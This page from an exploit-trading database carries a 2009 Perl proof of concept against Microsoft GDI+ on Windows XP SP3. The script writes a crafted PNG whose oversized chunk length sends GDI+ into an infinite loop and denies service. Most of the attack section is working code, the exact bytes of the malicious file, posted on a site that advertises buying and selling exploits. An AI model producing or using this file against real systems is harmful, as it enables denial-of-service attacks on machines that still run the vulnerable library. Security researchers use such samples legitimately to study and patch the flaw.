0day.today - Biggest Exploit Database in the World.
- We use one main domain: http://0day.today
- Most of the materials is completely FREE
- If you want to purchase the exploit / get V.I.P. access or pay for any other service,
you need to buy or earn
GOLD
Administration of this site uses the official contacts. Beware of impostors!
We DO NOT use Telegram or any messengers / social networks!Please, beware of scammers!
- Read the [ agreement ]
- Read the [ Submit ] rules
- Visit the [ faq ] page
- [ Register ] profile
- Get [ GOLD ]
- If you want to [ sell ]
- If you want to [ buy ]
- If you lost [ Account ]
- Any questions [ admin@0day.today ]
- Authorisation page
- Registration page
- Restore account page
- FAQ page
- Contacts page
- Publishing rules
- Agreement page
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
Contact us
You can contact us by:
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
Microsoft GDI Plugin .png Infinite Loop Denial of Service PoC
[=============================================================
Microsoft GDI Plugin .png Infinite Loop Denial of Service PoC
=============================================================
#! /usr/bin/perl
#CAL_gdiplug_poc.pl
#
# Mircosoft_gdiplug_png_infinity_loop_D.o.S POC
# by Code Audit Labs public 2009-04-17
# http://www.vulnhunt.com/
#
#Affected
#========
#test on full updated winxp sp3
#other version should be affected
#
#CVE: please assign to a CVE number
#
#DESCRIPTION
#===========
#
# The vulnerability exists within the code in MicroSoft Gdi+ processing crafted png file. that cause infinity loop to cause high CPU(100%) and D.o.S .
#
#
#ANALYSIS
#========
#
# png chunk
#
# {
# DWORD btChunkLen;
# CHAR btChunkType[4];
#} CHUNK_HEADER;
#if btChunkLen is 0xfffffff4, would cause code fall into infinity loop
#
open(Fin, ">poc.png") || die "can't create crash sample.$!";
binmode(Fin);
$data =
"\x89\x50\x4e\x47\x0d\x0a\x1a\x0a\x00\x00\x00\x0d\x49\x48\x44\x52" .
"\x00\x00\x03\x00\x00\x00\x04\x00\x08\x02\x00\x00\x00\xd9\x44\xa9" .
"\x57\xff\xff\xff\xf4\x41\x41\x41\x41\x62\x01\x08\xcb\x06\x49\x3e" .
"\xd7\x0a\x00\x22\xe3\xf1\x32\x3e\xe8";
print Fin $data;
close(Fin);
# 0day.today [2024-12-27] #